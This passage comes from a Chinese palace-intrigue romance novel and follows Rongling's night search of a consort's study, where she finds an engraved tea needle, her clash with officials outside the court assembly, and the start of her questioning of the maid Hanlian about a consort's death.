他用一块素布盖起证物，又将它挪到一旁的博古架上，好像那只是一件无关紧要，绝不受他看重的普通石头。
只是待至下值时分，有人见他提了一只箱箧，便好奇问道：“张大人提的何物？瞧着怪沉的。”
张廷瑜有些不好意思，“不过是…托人寻来的小玩意。”
“小玩意？给谁的？”
“这不，郡主从南漳回来了…”他有意未说完。
那人十分知情识趣，“对对，瞧我…郡主回来了，你不得好好表现。”
只是他知情识趣过了头，待张廷瑜走远一些，又与其余下值的同僚闲话。
“这张大人真是青藤绕树，攀高处结了花。他来刑部才几年…叫我说，咱们也不必日日年年苦读书、埋头做事，不如求神灵将来生的自个生得如他一般俊俏，再娶个高门的夫人，定要胜过今生苦修几十年。”
那同僚说了句公道话，“便只论读书，你也没胜过人家呀。”
说得正是。
张廷瑜乃建平十年响当当的探花郎，而说酸话那人仅是排一百开外的进士。
“倒…倒也是。”那人讪讪。
不过，二人口中的张廷瑜并未急着去“讨好”他那位身份贵重的夫人。<
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他提着箱箧，回到用全部积蓄买下的小破院。
合上大门，掸净因他数月未回积下的尘土，张廷瑜自箱箧中捧出那块保州送来的证物。
他撩起上头盖的素布，石头上绚丽的金、红、蓝绿三彩映在他漆黑的眸中，显得鲜艳非常。
他一寸一寸触摸石头的外表，全然不管粗砺的石棱在指腹擦出划痕。
他从未在现实中见过这石头，但在父亲死前留下的手札中，他已读过、记过、想象过千万遍。
张廷瑜自书箱深处寻出那本手札，又准确翻到末处的一页。
“某已查清，上罗计长官司往北三十里有一深山，山中富有杂驳金、红、蓝绿的三彩美石。某探访金匠，乃知三彩美石由赤金与孔雀石、铁石共生。然摄政王以伐木修陵为由强占此地，私下却炼金已填己壑。此损公肥私之举当为天下第一巨蠹。”
张廷瑜抚过其间字句，恍若触摸父亲生前最终的心血。
他更记得，因张芜英亡故，天下又混战日久，上罗计长官司的这处金矿最终湮没于历史的烟尘，未收录于大梁的疆域测绘中。
如今，它重又现世——究竟是哪位前朝故人在暗中重启此地，将这独一无二的石头挖出？
他在图谋何事，他又可与父亲的死有关？
张廷瑜在小院中想了很久，始终没个头绪。
见夜已深了，他将那石头留在小院，自个又在箱箧里装些日常的衣物、用具回了崇釉胡同。
额尔登大老远迎上前，“张大人公务繁忙，今日又回来得晚了。”他一挥手，早有候在一旁的仆从接过箱箧。
“今日并非公务，”张廷瑜解释道，“我去家里拿了几件衣裳与用物，耽搁了些时间。可是郡主在等我？”
额尔登听了，语中一顿。
随后，他精准拿捏了语气，既显出他的不赞同，却也不叫张廷瑜觉得他在以下犯上，“大人，自老王爷去了，这偌大的南漳王府便只余郡主一个主子。转眼，郡主又去南漳，老奴领着几百仆从、丫鬟，恨不能打包了自个，随郡主一道去。可郡主说，南漳是军屯之地，她一人若搬个王府去伺候实在不像话，老奴这才罢了。”
“如今郡主回来，张大人也住来府中，老奴真是说不出的高兴，觉得这一身老骨头又能些许用上。”
他铺陈一大圈，终于说到中心要义，“便说衣裳、用具，张大人只需吩咐一句，老奴立马能呈上各种用料、花样的供你挑选。便是过往用的趁手，定要去拿，你何苦自个辛苦地去？咱们有的是跑腿的小子。”
张廷瑜听出他的好意。
可正如荣龄仍在适应二人如今的亲密，他也在调整自己去更淡然面对因二人关系的不同而猛然改变的各种境遇。
自回了大都，种种非议纷至沓来——里头有艳羡的、赏识的、忌恨的、鄙夷的，叫人听了难免心生微澜。
他再沉静、泰然，也不过廿四岁。
他甚至有些怀念尚在保州时，二人隐瞒身份，没了种种掣肘，心境反倒纯然。
可他也明白，荣龄从来不是孤苦无依的惊蛰，他也不会一直做镔铁商人王序川。
张廷瑜不想在这事上为难额尔登，“我晓得了，日后有的是辛苦长史的时候。”
“哎！老奴高兴还来不及！”额尔登道，“只等着张大人与郡主生上十个八个小主子，叫这冷清的王府好好热闹一番。”
十个八个…这额尔登也真敢想…
张廷瑜没接话，“这事瞧郡主的意思。前元一日未灭，南境一日不平，她当没有心思，更没有功夫。”
“这是自然，这是自然。”
可等回了清梧院，张廷瑜见桌上只放了一副碗筷。
他还以为，额尔登急着迎他是因荣龄在等。“郡主去了何处？怎的还未回来？”
“郡主说，她今晚许是不回来了。便是回来也要过了子时。”额尔登答道。
不回来了？
张廷瑜看向门外，天愈发的昏黑了。
他想，可是蔺丞阳与瞿良娣一事有了发现？
38. 夜探
快至亥时，大都灯火已暗了大半。
但那一大半并不包含分布于皇城四周的各处高门，其中便有隆福寺旁仁寿坊中的二公主府。
亥时正，伴随隆福寺中响起悠远的钟鸣，一阵微风拂过巡逻中的公主府私兵。
带队小将警觉转身，“谁？”他拔出长刀，试探指向空无一物的前方。
“头儿，你困得眼花了吧？没人呐。”一人搓了搓眼。
小将也说不清那奇怪的感觉——他曾在西北前线打过几年仗，生出一些对危险的直觉。
那阵微风拂过脖颈的一瞬，暌违日久的直觉忽在灵台警醒。
可小将转念一想——此处是大都，是圣上最为尊贵的二公主的府邸，哪个不要命的有这胆量、有这功夫擅入府中？
他回刀入鞘，心道罢了，许真是自己看错了。
其实，小将的直觉并未有错。
那阵微风来自两道腾挪于房顶、院墙，舒展于灯光与黑夜的身影。
一直到西北一处僻静的院落，荣龄悄然落在正中的空地。
她侧耳细听，院中并无其余人。
“真是奇了，总归也是驸马的院子，怎的在如此偏僻的位置？”她环顾四周，奇道，“我瞧这院子离荣沁的凤栖院得有一炷香的脚程。”
因万文秀回家歇几日，夜里随荣龄来的仍是功夫卓绝但嘴笨如牛的万文林。
听见荣龄的吐槽，万文林想半天，才回了句“西北是乾位，驸马住在此也不错。”
荣龄一噎，心道咱俩说的是一回事吗？
推开院中正房，二人又往东阁间的书房摸去。
看过楠木做的书案、多宝格，荣龄的目光落在窗下同样用楠木做的罗汉榻。那榻上置曲腿榻几，几上摆一整套茶具。
荣龄走过去。
她并不精深茶道，但身在皇家，总学过一些。更不论张廷瑜是个喝茶狂魔，有些闲情总摆出一整副道场。荣龄跟在一旁，瞧也瞧得熟了。
只见茶筒中放着紫檀做的茶则、茶匙、茶夹，茶针则摆在茶巾旁。
榻几旁还有个提篮，里头放了数只黑釉茶罐，存些各地的茶。
荣龄取过提篮，一一打开茶罐，凑到鼻下细闻。
有岩骨花香的武夷大红袍，有鲜嫩清高的西湖龙井，更有鲜醇高爽、清新回甘的六安提片…
俱是些珍奇，但又珍奇得寻常的好茶。
她再打开提篮的第二层抽屉，里头有三只琉璃作的透明小罐。
荣龄取过，凑到窗边细瞧。
第一只罐中装的是干花，待她打开盖子，一股清寒的香味散入空中，是梅花。只是用梅花做茶…并不算常见。
第二只罐子装的果仁，她取出一粒，是松子仁。
等取出第三只罐子，荣龄看向罐中状如果脯的干条，心中有了猜测——若她没想错，这当是佛手柑。
梅花、松仁、佛手柑，这是…每年正月初二的三清茶会饮的三清茶…
荣龄垂首盯着晶莹地反射窗外月光的琉璃罐，眼神复杂。
见她久久不语，万文林以为是有了难处，“郡主，可有事？”他问道。
荣龄微微叹气，“无事，我只是…”
只是…只是进一步证实了一些她本不希望为真的推测。
过一会，荣龄道，“文林，咱们再找找，看房中是否还有偷藏起的女子相赠之物。”
万文林虽不明白，为何要找女子的相赠之物——这院子是驸马的，驸马自然会有公主的赠物。
但他一贯对荣龄言听计从，“是，郡主。”
于是，二人分工，荣龄翻更里头的卧房，万文林找此间的多宝格。
可半晌，仍一无所获。
荣龄直起身子，四下再看一圈。
这时，她的目光落到地面——邻近床柱的地板似有压痕，那压痕四四方方，正与床柱的形状相符。
这床…莫非叫人挪动过？
可她再一想，蔺丞阳用的是一架极为沉重的楠木床，若无必要，为何要挪动它？
她再走回书房，望向窗下的楠木榻与榻边的书案、多宝格，这才发现它们也都叫人挪动过。
荣龄慢慢走向罗汉榻，“想来他们不放心，都已搜过。”她猜道，“咱们方才白忙活了。”
“他们…他们是谁？”万文林问道。
荣龄意味深长，“自然是不想叫蔺丞阳出事的人。”
不过，她设身处地地想，若她长了蔺丞阳那般整肃到有些变态的性子，她会如何处置这份隐秘又禁忌的恋情？
是会一味逃避、时常压抑…
还是在无望中生出企盼，在无明的长夜一遍又一遍地渴求、回望？
她想，一定是后者。
既是这样，那蔺丞阳便不会只满足于留有一张绣帕、一份三清茶…
他定有更多，甚至光明正大地能叫所有人瞧见的信物。
这是一种宣泄，更是挑衅，是悖逆带来的畅快。
荣龄在罗汉榻上坐下，手指无意敲击那张曲腿榻几。
她的视线落在手上…
等等，榻上的茶具用的…
“这套茶具是用小叶紫檀雕的。”荣龄忽道。
万文林也走过来，“确是上好的小叶紫檀，可属下记得，老王爷也有一套小叶紫檀做的茶道六君子，这当…并不稀奇？”
荣龄颔首，“是不稀奇，可摆在这满屋的楠木家具中，它便稀奇了。”
万文林不解。
荣龄解释道：“你瞧这书案、多宝格、罗汉塌，还有卧房中的床铺、衣箱…俱是用的楠木，无不统一成套。再看几上摆的茶罐、杯壶，都用的建瓯黑釉，只装着三清茶的小罐用的琉璃…”
“因而我猜，这套六君子并三清茶是后头配的…不，是有人相赠。”
荣龄取过茶针，“文林，我的眼力不如你，你瞧瞧这上头可有印记？”
万文林接过，各处仔细瞧了。
忽然，他指着一处，“郡主，这里，针尖处有个极细微的‘郦’字。”
荣龄将茶针凑到眼下几寸，极努力地分辨，才辨出万文林说的那个“郦”字。这芥子须弥的精微雕刻，难怪叫人细细搜了仍做漏网之鱼。
她将茶针收到袖中，“走吧，今夜算是不虚此行。”
待出了蔺丞阳的院子，二人翻过几处，正要趁私兵巡逻的空档纵出公主府两丈高的高墙时，一只八角宫灯忽出现在墙角。
荣龄脚下一停，与万文林隐入一棵高大的银杏中。
八角宫灯昏黄的光线中，一道瘦高的身影缓缓靠近。
只见他外披一件羊毛斗篷，里头着青色道袍。
荣龄再看向他头顶
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的儒巾…
是个书生？
那人提着宫灯走入一处无匾无题的小院，随后双手袖着，立于二人藏身的银杏下。
又过一会，院墙下走来一行人影。
荣龄看向其中珠翠摇曳的贵女，心说这书生等的不会是她吧？
谁知，想什么来什么。
那贵女命随行宫人候在外头，自个只带了一二心腹入内。
于是，在荣龄的视线中，几人短暂消失于门头下，一息后又出现于院中。
候在银杏树下的书生忙迎上前。
“公主…”
与他一脸惊喜不同，二公主荣沁面上冷着，嗓音更能结出冰来。
“本宫早已说了，待舅舅回大都便说服父皇开来年的恩科，你这时不紧着读书？眼下这多事之秋，若叫旁人撞见本宫来见你…罢了，你究竟有何事？”
书生神情一僵，但他很快调整好，陪着笑，“这不是，月余没见公主，人言‘一日不见如三秋’。这样算来，臣与公主已百年未见，隔了一辈子生死。”
这情话说到荣沁心坎里，她面色稍霁，“云帆，你莫嫌本宫…莫嫌我疏远你。我只是怕你分心，再次落了第。你明白，我有多盼着你状元及第，簪上父皇钦赐的红花来娶我。”
祁云帆往前一步，拉过荣沁的手，“公主，我明白，我都明白。”他动情道，“我定一举夺魁，比那张廷瑜更好。”
躲在树上的荣龄一愣…不是，这事怎又扯上了张廷瑜？
她本是有一句没一句地听个热闹，到了这句，她一瞬凝起神，不再错过二人口中的任何话语。
荣沁未抽回手，葱白一般的细指扣在祁云帆掌心，如涅槃的凤凰雏鸟歇在巢中，“那是自然，你不仅考得比他好，往后出路也要叫他难望项背。”
“只要荣龄领一日南漳三卫，父皇便绝不会让他做紧要的官职。一个小小的刑部郎中，能翻得出什么浪…云帆，本宫定会让你较那张廷瑜风光百倍。”
祁云帆揽过荣沁，让她靠在自个胸前，“公主，我不在意与张廷瑜如何比，我也不在意自个如何，只要公主高兴，微臣做什么都可以。”
荣沁的面孔叫祁云帆挡着，看不清神情。
半晌，她才轻幽道：“祁郎，只有你真心待我。”
又过一会，荣沁自祁云帆怀中站直身子，“好了，夜已深了，祁郎快去歇息。”
祁云帆恋恋不舍地看她，再三催促才一步三回头地走了。
待祁云帆走远，荣沁的贴身宫女走上前，“公主，那祁郎君虽也俊俏，可奴婢瞧着，他嘴唇削薄、鼻尖带钩，恐非…”
荣沁扶正有些歪斜的掩鬓，“山韵，本宫明白你的忧心。”
她慢慢转过身，昂首望向北方苍冥的夜空——那里有冬夜里最亮的星，“北宸居其所，众星拱而环…本宫是天底下最尊贵的公主，人人都该敬我、重我。若有人敢背叛，杀了便是。”
“是。”山韵恭敬到有些畏惧地躬下身。
回南漳王府的路上，荣龄见万文林几番欲言又止。
她怕他憋死，便好心问道：“文林可有事？”
万文林犹豫再三，终还是问道：“郡主，二公主为何养个落第的书生？奇的是，还处处与张大人比较？”
他再斟酌，“我瞧那书生的面容，倒有三分肖张大人。”
39. 朝会
“哦…当真？”这倒是荣龄因脸盲未关注到的。
连替身都要找个肖上几分的…
若非深知其本性，荣龄还真要怀疑这位二皇姐蓦然回首，又看上了张廷瑜。
荣龄未正面回答，而是调侃，“文林，你也该找个娘子。那样，你便问不出这话。”
谁知万文林面上未露出她预想中的窘迫神色，而是眸中一黯，连语气都淡下三分，“是属下没用。”
“诶…”荣龄心道自个也没说什么，万文林这表现…怎的像是叫她戳了心窝？
许是这次回大都，让万家婶婶催婚催得火大？
说起万文林，他的身世也甚可怜。
万家历代武学传家。
到万父那辈时，因政道昏聩，不平之事甚众，万父便做了游侠儿，专替贫苦者伸张正义。
这途中，他受了南漳王荣信的恩惠。
为报恩情，万父便去了南漳三卫，做最骁勇的前锋将军。
而八年前那战，数万南漳三卫埋骨扶风岭，其中便有万父。听说，他与荣信战至最终，背靠着背站着咽了气。
丧讯传回大都，万母一口气未续上，也随万父去了。
那之后，兄妹二人便由无子的叔婶养大。
如今，万文林也已廿四岁，是万家两房独一根的苗。
若放在寻常人家，万家叔婶怕已含饴弄孙许多年。
可这万文林，他不是借口战事未平无心婚事，便是犟头犟脑死活都不去看万家婶婶相看好的姑娘。
万家婶婶没了法子，只好请托到长史额尔登头上，求他留意与万文林相配的良家女子。
她只怕万文林不学好，沾上兵痞子的恶习，狎养妓子或是小倌。
荣龄斟酌再三，才答道：“荣沁自比北宸星，要当世人的中心、天下人的焦点。她既受不了旁人相欺，定也不忿有人过得比她好。”
万文林领缁衣卫，也是一点即通，“…她忌恨郡主？”
荣龄冷嗤道：“我虽不想当那王婆自夸，可与荣沁打了这许多年的交道，她骨子里并非荣家人，流的怕是赵氏的血。”
人人都该敬我、重我…
这话，许多年前也有人说过。
那时，荣龄被囚在水牢，贵妃赵氏掐着她的下巴，指甲嵌入肉中，“玉鸣珂克死一个荣信不算，竟还要在本宫手中抢走陛下？人人都该敬我、重我…”
“玉鸣珂胆敢来试，本宫便要瞧瞧她抛夫弃子的心肠有多硬…”
她抓住荣龄的发，将她狠狠按入水中，直到荣龄将要气尽，她才松了手，仪态万千地站起身。
“阿木尔，本宫若是没看住，叫你一个不留神溺毙于神武湖中…你猜猜，你那母妃会落几滴泪？”
有母如此，“青出于蓝”的荣沁能有几分心善？
一面是蔺丞阳离心，爱上样样不如自己的贱人，一面是自小与她相争的荣龄和张廷瑜情意甚笃，写就一段盲婚哑嫁的佳话…
如此悬殊的比较，如何让事事掐尖的荣沁服气？
更何况，荣龄嫁的可是自她的驸马簿中黜落的穷酸书生！
她怎样会甘心！
因而，荣沁决心赢回这一局。
她要找个处处胜过张廷瑜的夫婿。便是眼下没有，那就亲自养一个。若这个不行，天下男子千万，换一个便好…
荣龄说完荣沁扭曲到有些变态的心理，万文林默了半晌。
“郡主…”好一会，他才开口，“郡主还是远着她些…”
可一想到荣龄奉命探查蔺丞阳与瞿良娣一事，又如何避得开她…
至于蔺丞阳…“若真如郡主猜测，那驸马…”他担忧道。
荣龄微微摇头，否认他的猜想，“蔺家如此平静，蔺丞阳当还活着。”
经过一夜折腾，荣龄回到房中已是丑时。
她叫大都的深寒冻得凉透，转头瞧见已熟睡的张廷瑜，便起了坏心——她揭开锦被一角，一骨碌钻进去，又手脚并用贴上取暖。
瞬间，张廷瑜冷得身子一僵，慢慢醒过来。
“回来了？”他将荣龄的手夹在胳膊下最暖的地方，嗓子里带了浓浓睡意。
荣龄在他怀中寻到舒服的姿势，“好困，过会上朝你记得叫我。”
二人相拥着又睡过一个时辰，寅时，荣龄叫张廷瑜唤醒。
“郡主今日也去大朝会？”他问道。
建平帝马上得天下，一身精气神绝非元末的几任傻皇帝能比。他老人家一改前朝颓靡的风气，令朝中五日一大朝会，内阁每日开小朝会。
每逢大朝会，大都五品以上官员都需在卯时前候于太和宫外。
这日正是五日一次的大朝会，荣龄有事与太子荣宗柟相商，便想着顺道去朝会转一转。
用过一些糕点，二人换了朝服，戴梁冠，持笏板去往宫中。
到了右掖门，门外已排起长队。
荣龄身为正二品的武官并特封的一品宗室，自不用排队，随时可入内。
可张廷瑜若照次序，却要等在公侯之外，随五府六部官员一道入内。
但瞧见他身旁的荣龄，四方四卫哪个敢拦。
“郡主、张大人，请。”守门的将军恭敬道。
二人一道入内，因时间尚早，太和宫外人烟尚稀。
荣龄想起荣沁昨日说的“荣龄领一日南漳三卫，父皇便绝不会让他做紧要的官职”…
她其余的话都荒唐，这句却不错。
荣龄掌二十万精锐边军，便是建平帝与荣宗柟再赏识张廷瑜，都不会再叫他进入中枢的权力中心——内阁。
一家子中若出一个主帅一个阁臣，皇帝如何安枕？
“张大人，凭你的才能，当上天子近臣做头批入太和门的官员并非难事，”荣龄在一片昏黑中盯着张廷瑜湛亮的眼，“可如今，你只能跟着我一道入内…”
“你会否甘心？”
至于旁的非议，荣龄也听到一些。
她心想，张廷瑜虽享受几许旁的好处，可在最重要的仕途上，却实实在在受了她的牵连。
张廷瑜轻按她额心，“郡主刚刚还喊困，这会怎的有闲心想起这等微末小事？”
荣龄拍他胳膊，“这不是微末小事…”
“与你相比，便是。”张廷瑜语气甚笃。
身旁是旭日升起前最清寒的风，眼前是缱绻如春的目光。
荣龄捂了捂心口，嚅嗫道：“我倒也不会打一辈子的仗…”
张廷瑜拉过她，去到一处背风的角落，“不说这些，郡主今早方归，只睡了一个时辰。眼下还早，不若靠着我再歇会。”
荣龄领他好意。
她站在张廷瑜与墙面挡住的无风空当，又靠上他有些清瘦的背，安定地眯了过去。
张廷瑜半分不动，如暗夜中的一棵柏树，一尊砖碉。他的背上传来有些沉的力道，一如很多年前在江南的一处水边，那兵荒马乱的相遇。
他的思绪飘得有些远，待回过神来，天光已有些敞开。
一人瞧见无端立在墙角的他，便过来相询。
吏部尚书陆长白是建平十年的会试主考官，照理算是张廷瑜的座师。
“衡臣，怎的站在此处？”老大人一捋颌下养得精心的美髯，问道，“老夫在太和门外瞧见了子渊——老夫都要认不出了。他道是丧期已满，回大都复职。只是眼下尚未有职分，来不了大朝会，因而在太和门外待诏。”
陆长白沉吟片刻，“你们是同年，宦途漫漫，
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最当互相扶持。老夫已与子渊说过，过几日老夫做东，你叫上东亭、怀州，一道来聚。”
陆长白口中的东亭乃那一年的榜眼，如今的礼部主事，怀州为二甲进士，三年来也得建平帝赏识，官拜正六品。
他与东亭、怀州算是建平十年的进士中前途最好的三人。
陆长白只叫上他们三人，正是说明大冢宰的府邸绝非寻常人能登访。
张廷瑜拱手行礼，但腰背直直挺着。
陆长白以为他是对自己不恭敬，心中便有些不快。只是他又想起这几日回大都的南漳郡主，当下忍下气不发作。
可眼前的张廷瑜毫无愧色，陆长白便又想起他对自己一贯不热络，逢年过节的也从无学生之于老师的礼节。
他心中不满更深。
正好瞧见结伴而来的徐阁老与枢密使谢冶，陆长白心思一转，便招呼二人，“徐大人、谢大人，老夫等候二位许久。”
他嘴里呼唤，脚下却不动分毫。那二人虽有些诧异，但仍往这墙角行来。
这时快至卯正，太和宫外人挤人，已如闹市。
即便在这喧闹的场景，三位红袍玉带、头戴七梁冠的一品官员聚在一处仍是十二分的引人注目。
因而，本三五一堆凑着唠嗑的官员一面装着兴致仍高，一面却将九成九的注意力投向这个不起眼的角落。
只是…等等，那角落里怎还有个戴三梁冠，腰缠革带的五品小官？
更有人自他玉山一般的风姿中认出，那不是凭一张俏面入了南漳郡主荣龄的的眼，进而更得陛下、太子器重的刑部郎中张廷瑜？
传言郡主还特特去保州随他办案，引得瓦舍传出个时兴的小调，道是“心向良人山海越，常伴君旁共苦欢”。
一群年青臣子们听了，心中羡慕、忌恨各半，十足的五味杂陈。
眼下郡主回了大都，三位大人围着他，可是通过他向郡主示好？
可只张廷瑜知道，这哪是示好，分明是陆长白不忿自个的不恭敬，伙同徐阁老、谢枢密使寻仇。
他心中苦笑，拱手问候道：“徐大人、谢大人。”
可他背上仍有沉甸甸的叫人安心的重量，他不想因眼前的三人扰她清梦。
因而，张廷瑜的腰背仍挺直，未如往常躬身拜下。
徐阁老与他相熟，虽诧异于张廷瑜今日在礼节上的粗略，但他为人疏阔，并不放在心上。
他更瞧出，那一贯目中无人又斗筲之器的陆长白为何叫他们来此。
于是，他乐呵呵地颔首，“许久不见啊，衡臣。”
而谢冶总领枢密院，乃赵氏门下，他对张廷瑜并无好感。
因而，他顺当接过陆长白递来的靶子，阴阳怪气道：“老夫听闻，张大人的父亲乃前元的铁笔御史，因风骨过于铮铮，遭了黑手。老夫瞧张大人肖极了他，也是不肯折腰之辈…”
谢冶虽是武官，嘴上功夫却半点不逊色。
这一番话几戳着张廷瑜的鼻子尖，咒他若再不知进退，哪日便要如他父亲短折而亡。
徐阁老瞧瞧这个，又打量那个，正想出言打个岔，让张廷瑜自那两个老匹夫的夹击中解脱出来。
可几在弹指间，他见张廷瑜眉弓微抬。
于是，徐阁老暂收了心思，在一旁静观其变。
徐阁老欲出言相助的同时，张廷瑜的背上倏地一轻。
他心中微觉可惜——到底惊了荣龄的小憩。
又有人轻戳他。
他会意，似服了软、认了错，冲那几人再一拜，“三位大人，是衡臣无状。”
只是这一遭，他的腰背终于不再直挺挺，而是如冬雪压竹，垂首露出梁冠顶端的云翅，并“摔”出了一直歇在他身后那人。
40. 对峙
太和宫前的大人们眼前一花，回神之际已有一人自张廷瑜与墙角的空当中“摔”出来。
仿若她一直倚靠着张廷瑜，因他刚刚的一拜，一个没站稳，便趔趄着出现在大伙面前。
可惜离得最近的徐阁老与陆长白只见趔趄，却未瞧出那趔趄的脚下仍有章法。
而能瞧出门道的谢冶已觉不好，他认出这人，心中骂了陆长白八百回——
这老匹夫害惨了他！
只见那人直起身子，熹微天光下，真紫的蟒袍闪出金银丝线的光泽。
围观的众人如风下衰草，躬身拜道：“微臣见过郡主。”
便如徐阁老、陆长白、谢冶这等位高权重的阁臣，也得拱手作礼——荣龄虽只让人称郡主，承的却是南漳王世袭罔替的一等亲王爵位。
若单论品级，除去几位耆老，她能在这天下横着走。
荣龄站稳，又理了理衣袖，“我方才睡得迷糊，只听得谢大人提起我那因节而亡的公爹…怎的，谢大人也钦佩他？”
不等谢冶回答，荣龄又道：“听闻谢大人文墨尚佳，公爹的祭日将至，不若你替他老人家写篇祭文？也不多，千把字便可。”
闻言，谢冶猛地一窒，他面上憋得通红，肖似台上的关二爷。
他心中狠狠一啐，去他爷爷的文墨尚佳…他谢冶不怕打武仗、嘴仗，就怕与人拼文章！
便是写奏疏，他都能杂了无数白话、错字…某日，他一改往日，呈上一份花团锦簇的奏章，谁知建平帝沉吟半晌，写下朱批：下回自个写，莫叫幕僚代笔，朕看不惯。
因而让他写千把字的祭文，杀了他得了！
徐阁老憋了笑，替谢冶解围道：“郡主，若叫谢枢密使写祭文，臣怕张芜英老大人连夜入梦，摇着枢密使问这句何意，那句是否在骂人。”
他虽把谢冶说得半分不值，可到底在救他，因而谢冶虽不忿，却也管住自个闯祸的嘴，再不开口。
“不若叫他添些祭品，也还张老大人清净。”
徐阁老八面玲珑，哪处都不沾，哪里都留情面。
荣龄一则卖他面子，二则也不想将谢冶得罪狠了，惹他在军需上使绊子。
“也好，传言枢密使家中有一柄古时的赤霞剑，我倒想一见。”
谢冶气得在心中大骂恶贼。
□□龄乃南漳王荣信的孤女——南漳王总领军务十余年，部将无数。开罪了她便是开罪整个南漳三卫、全部的南漳系部将。
谢冶虽在赵氏门下，却也觉得这买卖不值当。
罢了，不过是件家传的死物。
“下臣今日便将赤霞剑送去府上。”
料理了谢冶，荣龄又转向搅起这一池乱水的祸首，“谢枢密使不擅文辞，但陆大人笔落惊风雨，字字如珠似玉…”
陆长白与荣龄文武有别，公务上并不相交。
但陛下与太子待她素来亲厚。更不论，他们那位英明神武的陛下难过美人关，纳了人家亲娘做宫妃，若那玉妃再吹枕头风…
罢了，识时务者为俊杰，俊杰定能屈能伸…
陆长白不等荣龄相逼，主动道：“郡主若瞧得上老夫朽笔，不若让老夫来为张老大人写祭文。”
一番因权势而生的龃龉终因更高的权势介入而消弭于无形。
荣龄在一片混乱中看向静立一旁的张廷瑜，她忽有些不安——他会否觉得她大张旗鼓地出手反而叫他丢了面子？
单靠他自己，他也不一定会在陆长白与谢冶手中吃亏。
张廷瑜却悄悄竖了个大拇指。
他看懂荣龄的忧心，但他虽也自傲，可那份自傲并非不分好歹，更不是对最亲密的人倒戈相向。
他想让荣龄安心——她永远都不用有这担忧。
这时，一道道尖细的嗓音自太和门外一重一重传入，“太子殿下驾到。”
太和宫前的文武百官忙停了嘴仗，照官职尊卑理好队伍，山呼道：“恭请太子殿下安。”
因是大朝会，荣宗柟未带太子仪仗，只领詹事府的詹事、两位少詹事而来。
那着玉色窄袖袍的身影一抬手，冯领侍便道：“免礼，平身。”
荣宗柟本目不斜视，待瞥见人群前方的真紫蟒袍时，他脚下一顿。
荣龄垂着头，便见视野中出现一双同为玉色，筒上盘旋双龙的靴子。
“回大都几日了？”对面那人冷冷问道。
荣龄心中暗道不好——这老夫子显见的兴致不高，一见面就训她…
她讨好一笑，抬头回道：“回太子殿下，三日…”
荣宗柟面无表情地一瞟，荣龄便改了口，“四日！四日！”
他“哦”了一记，重复道：“四日。”
荣龄硬着头解释道：“殿下，非是臣不想来东宫面禀，只是臣一回来便绊在了二驸马一事中…”
“这眼下说什么荒唐话的都有，臣怕污了东宫的清净。”
东宫的清净自然还包含若二人交往过密，待一朝水落石出，赵氏一党定会攀咬荣龄得了太子荣宗柟的示意，故才有那般不堪的真相。
荣龄当下未明说，□□宗柟明白。
“不必忧心。”荣宗柟也语带深意，“浮云世事改，孤月此心明。孤只信真相，也相信郡主定能查出真相。”
“臣记下了。”荣龄躬身道。
旭日自太和宫东侧的墙头跃出，金光在瞬时洒满众人胸怀。
鼓楼传来阵阵雄浑鼓响，三记静鞭响过，荣宗柟领着文武百官鱼贯入太和宫。
大朝会，开始了。
一直到辰时正，朝会方歇。
荣龄站在武官一列的第二排，因而等她退出太和宫时，张廷瑜已在一旁候了好一会。
“郡主这便去东宫？”他袍袖一拦，问道。
冷着一张脸的荣龄认出他，“你在等我？”
因站在三级石阶之上，阳光毫无遮挡地自高处投来，二人身上铺满难得的冬日暖意。
张廷瑜与她一道走下石阶，“我送你过去。”
待走到东侧宫墙的阴影中，北地的干冷又无孔不入地贴上身体。
荣龄忽然停下，微抬头直视张廷瑜那双温润无边的眼，“张大人，我其实，有些犹豫…”
这份犹豫自昨夜在蔺丞阳的书房找到茶针时便生，经过半晚的发酵，愈加浩大、蓬□□来——若戳破那真相之上的粉饰，瞿郦珠、蔺丞阳可真要万劫不复了。
她未告诉张廷瑜昨夜查出的证物，因而只问：“你办过许多案子，会否有一刻担心…担心若道义太过锋利，会伤人。”
张廷瑜如方才那般，又轻按她的额心。
朝服并不厚重，他的指尖也仅淡淡的温。
“这并非两难，”他道，“道义足够锋利、坚硬，方能荡尽世间不平事。若伤了人，那也是他们咎由自取。”
荣龄忽觉一股力道自额心透入，它并不霸道，却绵绵无尽地晕开心中的犹疑。
“去吧。郡主只管大胆地往前行。”
一炷香后的东宫。
本该开始一日公务的承乾殿静得落针能闻。更奇的是，布在各处的宫人叫东宫暗卫替上，那些黑色的身影如幽灵一般立在关键哨口，宛若黑无常得了道，来青天白日里勾魂。
而在承乾殿深处，荣宗柟与太子妃章氏坐于上首，他与章氏对视一眼，随后看向荣龄，“你说什么？蔺丞阳叫人诬告了？那他可否无罪，瞿氏又因何而死？”
荣龄摇头
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道：“太子哥哥，蔺丞阳虽叫人诬告了，可我还不能肯定他是否全然无罪。”
有些相悖的两句话自然惹人生疑，“何意？”荣宗柟问。
“请太子哥哥押来旱莲一叙。”
等旱莲来到堂下，荣龄命人端去一盏三清茶，一叠松仁酥。
“旱莲，这些时日你受了委屈，快用些点心。”她再问道，“这些时日，太子哥哥将你看押在东宫，你可怨他？”
旱莲忙伏身在地，“旱莲怎敢…若无暗卫看守，旱莲早没了性命。”
这话倒不假，单凭她那几要毁了蔺丞阳的状告，赵氏、蔺家定会想尽办法灭口。
若没了她，瞿郦珠一事便死无对证。
“你倒不傻，不愧是自小陪着瞿良娣长大的。”
□□龄话音一转，骤然冷下来，“但旱莲，人也不能太过聪明。”
旱莲小心翼翼，但并不惊惶，“奴婢愚钝，不明白郡主何意。”
荣龄却不与她打这嘴皮子官司，“你当着太子与太子妃的面，再复述一番与瞿良娣在长春观的见闻。”
旱莲不明所以，犹疑着不敢开口。她怯怯地望向上首——她是东宫的人，若太子夫妇不肯，荣龄也奈何不了她。
荣龄冷眼旁观，将这番小心思瞧得一目了然。
她心道，也不枉瞿氏选了她陪嫁来大都。她虽是小小的宫人，可胆量、心计却毫不逊于生杀予夺的大人们。
荣宗柟看了一眼荣龄。
荣龄颔首，示意这事非做不可。于是，荣宗柟道：“照郡主的吩咐。”
旱莲只好称是。
她再次复述，“奴婢陪着良娣，先在三清殿拜过三清塑像，又去八卦亭中请人解签，签文是第五十一签。午间在二仙庵用完素膳，良娣便独自去了后山的丹桂林。”
这番言辞极流利，也有条理。只是…太过流利、太过清晰，恍若背了千次万次，便是梦中都能脱口而出。
荣龄捧着一杯清茶温手。
她的面容隐在茶水腾起的白雾中，神情未明，“你未陪同瞿良娣去往丹桂林？”
旱莲一怔，“若…若我一道去了丹桂林，我便是死了也会护着良娣！”
荣龄未接话，仍问：“你二人头回去长春观？”
